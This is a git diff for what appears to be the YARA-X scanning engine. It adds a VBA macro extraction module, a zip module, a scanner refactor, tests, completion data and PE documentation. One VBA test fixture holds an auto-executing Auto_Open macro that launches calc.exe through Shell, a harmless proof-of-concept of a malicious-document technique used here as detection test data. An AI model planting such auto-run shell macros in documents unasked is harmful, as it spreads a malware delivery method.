"0{00020820-0000-0000-C000-000000000046}" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = False + Attribute VB_Customizable = True + Private Sub Worksheet_Change(ByVal Target As Range) + If ActiveWorkbook.Names("tw_language").RefersToRange.Address = Target.Address And ActiveWorkbook.Names("tw_language").RefersToRange.Worksheet.Name = Target.Worksheet.Name Then + Call setSheetProps + Call SetCellComments + End If + End Sub + +project_info: + name: "VBAProject" + version: "1433157262.2" + references: + - "stdole" + - "Office" + - "MSForms" + module_count: 4 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.in.zip b/lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.in.zip new file mode 100644 index 00000000..0d146833 Binary files /dev/null and b/lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.in.zip differ diff --git a/lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.out b/lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.out new file mode 100644 index 00000000..f7d86e0b --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.out @@ -0,0 +1,26 @@ +has_macros: true +modules: + - name: "ThisDocument" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "ThisDocument" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + + Private Sub Document_New() + MsgBox "Hello, world!" + End Sub + +project_info: + name: "Project" + version: "1769106437.10" + references: + - "stdole" + - "Normal" + - "Office" + module_count: 1 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/e861196b3615e6c39c56e6fe704b832fe53c192752c554e28efb2c6157336101.in.zip b/lib/src/modules/vba/tests/testdata/e861196b3615e6c39c56e6fe704b832fe53c192752c554e28efb2c6157336101.in.zip new file mode 100644 index 00000000..c898c358 Binary files /dev/null and b/lib/src/modules/vba/tests/testdata/e861196b3615e6c39c56e6fe704b832fe53c192752c554e28efb2c6157336101.in.zip differ diff --git a/lib/src/modules/vba/tests/testdata/e861196b3615e6c39c56e6fe704b832fe53c192752c554e28efb2c6157336101.out b/lib/src/modules/vba/tests/testdata/e861196b3615e6c39c56e6fe704b832fe53c192752c554e28efb2c6157336101.out new file mode 100644 index 00000000..45cf3b2c --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/e861196b3615e6c39c56e6fe704b832fe53c192752c554e28efb2c6157336101.out @@ -0,0 +1,44 @@ +has_macros: true +modules: + - name: "BuÇalışmaKitabı" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "BuÇalýþmaKitabý" + Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = False + Attribute VB_Customizable = True + + - name: "Sayfa1" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "Sayfa1" + Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = False + Attribute VB_Customizable = True + + - name: "Module1" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "Module1" + Sub Auto_Open() + Dim payload As String + ' Bu kod bilgisayara zarar vermez, sadece sistemin analiz yeteneðini test etmek için Hesap Makinesini tetikler. + payload = "calc.exe" + Shell payload, vbNormalFocus + End Sub + +project_info: + name: "VBAProject" + version: "1814717648.5" + references: + - "stdole" + - "Office" + module_count: 3 \ No newline at end of file diff --git a/lib/src/modules/vt/mod.rs b/lib/src/modules/vt/mod.rs index 4e1197f5..96603b10 100644 --- a/lib/src/modules/vt/mod.rs +++ b/lib/src/modules/vt/mod.rs @@ -49,10 +49,7 @@ static SUBDOMAIN: LazyLock = LazyLock::new(|| { Struct::enum_value_i64(&Permutation::SUBDOMAIN.descriptor()).unwrap() }); -fn main( - _data: &[u8], - _meta: Option<&[u8]>, -) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { Ok(LiveHuntData::new()) } diff --git a/lib/src/modules/zip/mod.rs b/lib/src/modules/zip/mod.rs new file mode 100644 index 00000000..cc681b86 --- /dev/null +++ b/lib/src/modules/zip/mod.rs @@ -0,0 +1,23 @@ +use std::ops::Deref; + +use crate::mods::prelude::*; +use crate::modules::ModuleError; +use crate::modules::protos::zip::Zip; +use crate::modules::utils::zip::ZipCache; +use crate::register_module; + +pub fn main<'a>( + ctx: &mut ModuleContext<'a>, + data: &'a [u8], +) -> Result { + match ctx.zip_cache.get_or_insert_with(|| ZipCache::new(data)) { + ZipCache::Cached(zip) => Ok(zip.deref().into()), + ZipCache::NotZip => { + let mut zip = Zip::new(); + zip.set_is_zip(false); + Ok(zip) + } + } +} + +register_module!("zip", Zip, main); diff --git a/lib/src/modules/zip/tests/testdata/stored_and_deflated.in.zip b/lib/src/modules/zip/tests/testdata/stored_and_deflated.in.zip new file mode 100644 index 00000000..696e1f93 Binary files /dev/null and b/lib/src/modules/zip/tests/testdata/stored_and_deflated.in.zip differ diff --git a/lib/src/modules/zip/tests/testdata/stored_and_deflated.out b/lib/src/modules/zip/tests/testdata/stored_and_deflated.out new file mode 100644 index 00000000..68d92d29 --- /dev/null +++ b/lib/src/modules/zip/tests/testdata/stored_and_deflated.out @@ -0,0 +1,10 @@ +is_zip: true +entries: + - file_path: "deflated_file.txt" + compression: DEFLATED + uncompressed_size: 21 + compressed_size: 23 + - file_path: "stored_file.txt" + compression: STORED + uncompressed_size: 19 + compressed_size: 19 \ No newline at end of file diff --git a/lib/src/scanner/mod.rs b/lib/src/scanner/mod.rs index 3d5d346a..9de2fb89 100644 --- a/lib/src/scanner/mod.rs +++ b/lib/src/scanner/mod.rs @@ -25,7 +25,9 @@ use thiserror::Error; use crate::Variable; use crate::compiler::{RuleId, Rules}; use crate::models::Rule; -use crate::modules::{ModuleError, RegisteredModule}; +use crate::modules::{ + ModuleContext, ModuleError, RegisteredModule, module_by_name, +}; pub(crate) use crate::scanner::context::RuntimeObject; pub(crate) use crate::scanner::context::RuntimeObjectHandle; pub(crate) use crate::scanner::context::ScanContext; @@ -487,23 +489,14 @@ impl<'r> Scanner<'r> { // Try to find the module by name first, if not found, then try // to find a module where the fully-qualified name for its protobuf // message matches the `name` arguments. - let descriptor = crate::modules::registered_modules() - .find_map(|module| { - if module.name() == name { - Some(module.root_descriptor()) - } else { - None - } - }) + let descriptor = module_by_name(name) + .map(|module| module.root_descriptor()) .or_else(|| { - crate::modules::registered_modules().find_map(|module| { - let descriptor = module.root_descriptor(); - if descriptor.full_name() == name { - Some(descriptor) - } else { - None - } - }) + crate::modules::registered_modules() + .find(|module| { + module.root_descriptor().full_name() == name + }) + .map(|module| module.root_descriptor()) }); if descriptor.is_none() { @@ -620,13 +613,33 @@ impl<'r> Scanner<'r> { // Set the global variable `filesize` to the size of the scanned data. ctx.set_filesize(data.len() as i64); + // Create the context that will be passed to the main function of each + // module. + let mut mod_ctx = ModuleContext::default(); + + // For each item in options.module_metadata, check if the module name + // is actually a registered module, and then add the corresponding + // metadata to mod_ctx. + for (module, meta) in options + .map(|options| options.module_metadata) + .into_iter() + .flatten() + .filter_map(|(name, meta)| Some((module_by_name(name)?, meta))) + { + mod_ctx.set_module_metadata(module.name(), meta); + } + // Indicate that the scanner is currently scanning the given data. ctx.scan_state = ScanState::ScanningData(data); + let data = match &ctx.scan_state { + ScanState::ScanningData(data) => data.as_ref(), + _ => unreachable!(), + }; + for module_name in ctx.compiled_rules.imports() { // Look up the module in the module registry. - let module = crate::modules::registered_modules() - .find(|module| module.name() == module_name) + let module = module_by_name(module_name) .unwrap_or_else(|| panic!("module `{module_name}` not found")); let module_root_descriptor = module.root_descriptor(); @@ -642,14 +655,7 @@ impl<'r> Scanner<'r> { { module_output = Some(output); } else { - let meta: Option<&'opts [u8]> = - options.as_ref().and_then(|options| { - options.module_metadata.get(module_name).copied() - }); - - if let Some(main_res) = - module.main_fn(ctx.scanned_data().unwrap(), meta) - { + if let Some(main_res) = module.main_fn(&mut mod_ctx, data) { module_output = Some(main_res.map_err(|err| { ScanError::ModuleError { module: module_name.to_string(), @@ -869,14 +875,8 @@ impl<'a, 'r> ScanResults<'a, 'r> { &self, module_name: &str, ) -> Option<&'a dyn MessageDyn> { - let module_descriptor = crate::modules::registered_modules() - .find_map(|m| { - if m.name() == module_name { - Some(m.root_descriptor()) - } else { - None - } - })?; + let module_descriptor = + module_by_name(module_name).map(|m| m.root_descriptor())?; let module_output = self .ctx .module_outputs diff --git a/lib/src/tests/mod.rs b/lib/src/tests/mod.rs index f8151b8e..94c4f3db 100644 --- a/lib/src/tests/mod.rs +++ b/lib/src/tests/mod.rs @@ -4183,4 +4183,124 @@ fn header_constraints_optimization() { "#, b"\0MZ" ); + + // Patterns whose on-disk bytes differ from their literal text (because of + // the `xor`, `nocase`, `wide`, `base64` or `base64wide` modifiers) must not + // derive a header constraint from the literal text. Otherwise `$a at 0` + // would wrongly require the file to start with the plaintext bytes and the + // pattern would be pruned even though it matches at offset 0. + + // `xor`: "Hello" XORed with key 0x01 -> 49 64 6d 6d 6e. + rule_true!( + r#" + rule test { + strings: + $a = "Hello" xor + condition: + $a at 0 + } + "#, + b"\x49\x64\x6d\x6d\x6e" + ); + + // `nocase`: data has a different case than the literal. + rule_true!( + r#" + rule test { + strings: + $a = "HELLO" nocase + condition: + $a at 0 + } + "#, + b"hello" + ); + + // `wide`: the literal bytes are interleaved with zeroes. + rule_true!( + r#" + rule test { + strings: + $a = "Hello" wide + condition: + $a at 0 + } + "#, + b"H\0e\0l\0l\0o\0" + ); + + // `base64`: "Hello" base64-encoded. + rule_true!( + r#" + rule test { + strings: + $a = "Hello" base64 + condition: + $a at 0 + } + "#, + b"SGVsbG8=" + ); + + // `base64wide`: "Hello" base64-encoded and then made wide. + rule_true!( + r#" + rule test { + strings: + $a = "Hello" base64wide + condition: + $a at 0 + } + "#, + b"S\0G\0V\0s\0b\0G\08\0" + ); + + // A regexp that reduces to a literal, with the `wide` modifier. For regexps + // the `wide` transformation is applied when lowering to sub-patterns, so it + // is not visible in the HIR and `as_literal_bytes()` returns the non-wide + // bytes. The header constraint must still not be derived from them. + rule_true!( + r#" + rule test { + strings: + $a = /Hello/ wide + condition: + $a at 0 + } + "#, + b"H\0e\0l\0l\0o\0" + ); + + // The bytes that actually appear in the data are not constrained to the + // literal text, but matching itself must still work correctly: a pattern + // with a byte-transforming modifier anchored at 0 must not match when its + // encoded form is absent at offset 0. + rule_false!( + r#" + rule test { + strings: + $a = "Hello" xor + condition: + $a at 0 + } + "#, + b"\0\0\0\0\x49\x64\x6d\x6d\x6e" + ); + + // A modifier pattern anchored at 0 must not contaminate the header + // constraint derived from a plain literal in the same rule. Here the file + // starts with "MZ" (so `$plain at 0` holds) and contains "Hello" XORed with + // key 0x01 somewhere; `$x` must not be pruned by `$plain`'s constraint. + rule_true!( + r#" + rule test { + strings: + $plain = "MZ" + $x = "Hello" xor + condition: + $plain at 0 and $x + } + "#, + b"MZ\x49\x64\x6d\x6d\x6e" + ); } diff --git a/ls/editors/code/package-lock.json b/ls/editors/code/package-lock.json index 055795a1..30114169 100644 --- a/ls/editors/code/package-lock.json +++ b/ls/editors/code/package-lock.json @@ -5012,9 +5012,9 @@ "license": "MIT" }, "node_modules/undici": { - "version": "7.24.1", - "resolved": "https://registry.npmjs.org/undici/-/undici-7.24.1.tgz", - "integrity": "sha512-5xoBibbmnjlcR3jdqtY2Lnx7WbrD/tHlT01TmvqZUFVc9Q1w4+j5hbnapTqbcXITMH1ovjq/W7BkqBilHiVAaA==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz", + "integrity": "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA==", "dev": true, "license": "MIT", "engines": { diff --git a/ls/src/tests/testdata/completion10.response.json b/ls/src/tests/testdata/completion10.response.json index 771c682b..6fe8db3b 100644 --- a/ls/src/tests/testdata/completion10.response.json +++ b/ls/src/tests/testdata/completion10.response.json @@ -83,5 +83,10 @@ "kind": 9, "label": "vt", "preselect": true + }, + { + "kind": 9, + "label": "zip", + "preselect": true } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion11.response.json b/ls/src/tests/testdata/completion11.response.json index 771c682b..6fe8db3b 100644 --- a/ls/src/tests/testdata/completion11.response.json +++ b/ls/src/tests/testdata/completion11.response.json @@ -83,5 +83,10 @@ "kind": 9, "label": "vt", "preselect": true + }, + { + "kind": 9, + "label": "zip", + "preselect": true } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion14.response.json b/ls/src/tests/testdata/completion14.response.json index 388c30bf..a1f120a2 100644 --- a/ls/src/tests/testdata/completion14.response.json +++ b/ls/src/tests/testdata/completion14.response.json @@ -413,5 +413,24 @@ ], "kind": 9, "label": "vt" + }, + { + "additionalTextEdits": [ + { + "newText": "import \"zip\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "zip" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion15.response.json b/ls/src/tests/testdata/completion15.response.json index af5933d1..1582c02a 100644 --- a/ls/src/tests/testdata/completion15.response.json +++ b/ls/src/tests/testdata/completion15.response.json @@ -392,5 +392,24 @@ ], "kind": 9, "label": "vt" + }, + { + "additionalTextEdits": [ + { + "newText": "import \"zip\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "zip" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion2.response.json b/ls/src/tests/testdata/completion2.response.json index d9e72015..c0c29c33 100644 --- a/ls/src/tests/testdata/completion2.response.json +++ b/ls/src/tests/testdata/completion2.response.json @@ -414,5 +414,24 @@ ], "kind": 9, "label": "vt" + }, + { + "additionalTextEdits": [ + { + "newText": "import \"zip\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "zip" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion8.response.json b/ls/src/tests/testdata/completion8.response.json index 3559edcb..7e186ac4 100644 --- a/ls/src/tests/testdata/completion8.response.json +++ b/ls/src/tests/testdata/completion8.response.json @@ -548,6 +548,24 @@ "description": "integer" } }, + { + "insertText": "MACHINE_ALPHA", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_ALPHA", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_ALPHA64", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_ALPHA64", + "labelDetails": { + "description": "integer" + } + }, { "insertText": "MACHINE_AM33", "insertTextFormat": 2, @@ -575,6 +593,33 @@ "description": "integer" } }, + { + "insertText": "MACHINE_ARM64", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_ARM64", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_ARM64EC", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_ARM64EC", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_ARM64X", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_ARM64X", + "labelDetails": { + "description": "integer" + } + }, { "insertText": "MACHINE_ARMNT", "insertTextFormat": 2, @@ -585,10 +630,10 @@ } }, { - "insertText": "MACHINE_ARM64", + "insertText": "MACHINE_AXP64", "insertTextFormat": 2, "kind": 5, - "label": "MACHINE_ARM64", + "label": "MACHINE_AXP64", "labelDetails": { "description": "integer" } @@ -620,6 +665,24 @@ "description": "integer" } }, + { + "insertText": "MACHINE_LOONGARCH32", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_LOONGARCH32", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_LOONGARCH64", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_LOONGARCH64", + "labelDetails": { + "description": "integer" + } + }, { "insertText": "MACHINE_M32R", "insertTextFormat": 2, @@ -674,6 +737,24 @@ "description": "integer" } }, + { + "insertText": "MACHINE_R3000BE", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_R3000BE", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_R3000", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_R3000", + "labelDetails": { + "description": "integer" + } + }, { "insertText": "MACHINE_R4000", "insertTextFormat": 2, @@ -683,6 +764,42 @@ "description": "integer" } }, + { + "insertText": "MACHINE_R10000", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_R10000", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_RISCV32", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_RISCV32", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_RISCV64", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_RISCV64", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_RISCV128", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_RISCV128", + "labelDetails": { + "description": "integer" + } + }, { "insertText": "MACHINE_SH3", "insertTextFormat": 2, diff --git a/parser/src/ast/tests.rs b/parser/src/ast/tests.rs index 5408d2c7..e00d2554 100644 --- a/parser/src/ast/tests.rs +++ b/parser/src/ast/tests.rs @@ -4,7 +4,42 @@ use crate::{Parser, Span, ast}; #[test] fn ast_from_cst() { - let source = br#"rule test { condition: true }"#; + let source = br#" + global private rule test { + meta: + author = "test" + version = 3.14 + strings: + $a = "abc" ascii wide fullword + $b = "cde" base64 + $c = { 01 02 [1-2] ?? } + $d = /reg.*exp/i nocase + condition: + all of them and + any of ($a*) and + filesize > 100 and + (1 << 2) + (8 >> 1) >= 4 and + 1 == 1 and + 2 != 3 and + 4 < 5 and + 6 <= 6 and + 7 > 2 and + "foo" contains "f" and + "bar" icontains "B" and + "baz" startswith "b" + and "qux" istartswith "Q" and + "end" endswith "d" and + "IEND" iendswith "D" and + "eq" iequals "EQ" and + "str" matches /str/ and + not false and none of ($b*) and + (1 & 2) | (3 ^ 4) != ~0 and + 5 % 2 == 1 and + 2 * 3 == 6 and + 1 - 1 == 0 + } + "#; + let parser = Parser::new(source); let cst = CST::try_from(parser).unwrap(); let ast = AST::new(source, cst.iter()); @@ -14,6 +49,7 @@ fn ast_from_cst() { _ => panic!(), }; + assert!(ast.errors.is_empty()); assert_eq!(rule.identifier.name, "test"); let source = br#"foo"#; @@ -31,3 +67,40 @@ fn ast_from_cst() { } ); } + +#[test] +fn ast_dfs() { + use crate::ast::dfs::{DFSEvent, DFSIter}; + use crate::ast::*; + + let source = br#" + rule test { + strings: + $a = "foo" + condition: + $a and foo.bar[0].baz == 1 and not (-(-1) == 1) + } + "#; + let parser = Parser::new(source); + let cst = CST::try_from(parser).unwrap(); + let ast = AST::new(source, cst.iter()); + + let rule = match ast.items.first().unwrap() { + Item::Rule(rule) => rule, + _ => panic!(), + }; + + let iter = DFSIter::new(&rule.condition); + let mut enter_count = 0; + let mut leave_count = 0; + + for event in iter { + match event { + DFSEvent::Enter(_) => enter_count += 1, + DFSEvent::Leave(_) => leave_count += 1, + } + } + + assert!(enter_count > 0); + assert_eq!(enter_count, leave_count); +} diff --git a/parser/src/cst/tests.rs b/parser/src/cst/tests.rs index 034710df..aa1f337f 100644 --- a/parser/src/cst/tests.rs +++ b/parser/src/cst/tests.rs @@ -524,3 +524,20 @@ test { Some(Event::Token { kind: SyntaxKind::L_BRACE, span: Span(25..26) }) ); } + +#[test] +fn cst_recovery_and_error_merging() { + let stream = CSTStream::from(Parser::new(b"rule /* unclosed comment")); + let mut has_error = false; + for event in stream { + if matches!( + event, + Event::Begin { kind: SyntaxKind::ERROR, .. } + | Event::Token { kind: SyntaxKind::ERROR, .. } + | Event::End { kind: SyntaxKind::ERROR, .. } + ) { + has_error = true; + } + } + assert!(has_error); +} diff --git a/parser/src/tokenizer/tests.rs b/parser/src/tokenizer/tests.rs index 230ad5dd..72a097e6 100644 --- a/parser/src/tokenizer/tests.rs +++ b/parser/src/tokenizer/tests.rs @@ -399,3 +399,24 @@ fn errors() { assert_eq!(lexer.next_token(), Some(Token::WHITESPACE(Span(3..4)))); assert_eq!(lexer.next_token(), Some(Token::INVALID_UTF8(Span(4..5)))); } + +#[test] +fn span_and_malformed_hex() { + use rowan::TextRange; + use rowan::TextSize; + + let s = Span(10..25); + assert_eq!(format!("{s}"), "[10..25]"); + + let r = TextRange::new(TextSize::from(5), TextSize::from(15)); + let span_from_r: Span = r.into(); + assert_eq!(span_from_r, Span(5..15)); + + let mut lexer = super::Tokenizer::new(b"[10-"); + lexer.enter_hex_pattern_mode(); + assert_eq!(lexer.next_token(), Some(Token::L_BRACKET(Span(0..1)))); + lexer.enter_hex_jump_mode(); + assert_eq!(lexer.next_token(), Some(Token::INTEGER_LIT(Span(1..3)))); + assert_eq!(lexer.next_token(), Some(Token::HYPHEN(Span(3..4)))); + assert_eq!(lexer.next_token(), None); +} diff --git a/site/content/docs/modules/pe.md b/site/content/docs/modules/pe.md index 3773bd9a..2d27a611 100644 --- a/site/content/docs/modules/pe.md +++ b/site/content/docs/modules/pe.md @@ -580,30 +580,43 @@ rule WdmDriver { Each of the possible values in the `machine` field. -| Name | Number | -|-------------------|--------| -| MACHINE_UNKNOWN | 0 | -| MACHINE_AM33 | 467 | -| MACHINE_AMD64 | 34404 | -| MACHINE_ARM | 448 | -| MACHINE_ARMNT | 452 | -| MACHINE_ARM64 | 43620 | -| MACHINE_EBC | 3772 | -| MACHINE_I386 | 332 | -| MACHINE_IA64 | 512 | -| MACHINE_M32R | 36929 | -| MACHINE_MIPS16 | 614 | -| MACHINE_MIPSFPU | 870 | -| MACHINE_MIPSFPU16 | 1126 | -| MACHINE_POWERPC | 496 | -| MACHINE_POWERPCFP | 497 | -| MACHINE_R4000 | 358 | -| MACHINE_SH3 | 418 | -| MACHINE_SH3DSP | 419 | -| MACHINE_SH4 | 422 | -| MACHINE_SH5 | 424 | -| MACHINE_THUMB | 450 | -| MACHINE_WCEMIPSV2 | 361 | +| Name | Number | +|---------------------|--------| +| MACHINE_UNKNOWN | 0 | +| MACHINE_ALPHA | 388 | +| MACHINE_ALPHA64 | 644 | +| MACHINE_AM33 | 467 | +| MACHINE_AMD64 | 34404 | +| MACHINE_ARM | 448 | +| MACHINE_ARM64 | 43620 | +| MACHINE_ARM64EC | 42561 | +| MACHINE_ARM64X | 42574 | +| MACHINE_ARMNT | 452 | +| MACHINE_AXP64 | 644 | +| MACHINE_EBC | 3772 | +| MACHINE_I386 | 332 | +| MACHINE_IA64 | 512 | +| MACHINE_LOONGARCH32 | 25138 | +| MACHINE_LOONGARCH64 | 25188 | +| MACHINE_M32R | 36929 | +| MACHINE_MIPS16 | 614 | +| MACHINE_MIPSFPU | 870 | +| MACHINE_MIPSFPU16 | 1126 | +| MACHINE_POWERPC | 496 | +| MACHINE_POWERPCFP | 497 | +| MACHINE_R3000BE | 352 | +| MACHINE_R3000 | 354 | +| MACHINE_R4000 | 358 | +| MACHINE_R10000 | 360 | +| MACHINE_RISCV32 | 20530 | +| MACHINE_RISCV64 | 20580 | +| MACHINE_RISCV128 | 20776 | +| MACHINE_SH3 | 418 | +| MACHINE_SH3DSP | 419 | +| MACHINE_SH4 | 422 | +| MACHINE_SH5 | 424 | +| MACHINE_THUMB | 450 | +| MACHINE_WCEMIPSV2 | 361 | #### Example diff --git a/test.yar b/test.yar deleted file mode 100644 index 64af510b..00000000 --- a/test.yar +++ /dev/null @@ -1,10 +0,0 @@ -rule t { - - strings: - $a = "foo" - $b = "foo" - condition: - all of them -} - -